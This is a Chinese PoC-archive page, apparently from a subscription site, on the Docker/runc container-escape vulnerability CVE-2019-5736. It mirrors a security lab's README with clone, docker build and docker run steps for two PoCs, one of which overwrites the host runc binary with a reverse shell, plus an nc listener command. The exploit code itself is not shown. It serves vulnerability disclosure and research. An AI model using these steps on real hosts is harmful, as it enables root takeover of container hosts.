目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

来源
关联漏洞
标题: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器(轻量级虚拟机)并部署和运行应用程序,以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞,该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。
Description
CVE-2019-5736 POCs
介绍
# RunC-CVE-2019-5736

Two PoCs for CVE-2019-5736. See [Twistlock Labs](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the PoCs.

The malicious image PoC is heavily based on [q3k’s PoC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.

## Running the PoCs
Note that running the PoCs will overwrite the `runc` binary on the host. It is recommened that you create a copy of your `runc` binary (commonly at `/usr/sbin/runc`) before running one of the PoCs.

Clone the repository:
```sh
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
```

### Exec PoC
Overwrites `runc` with a simple program that prints a string.

Running the exec PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image PoC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.

Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```

From a different shell, run the malicious image PoC:
```sh
$ cd RunC-CVE-2019-5736 
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →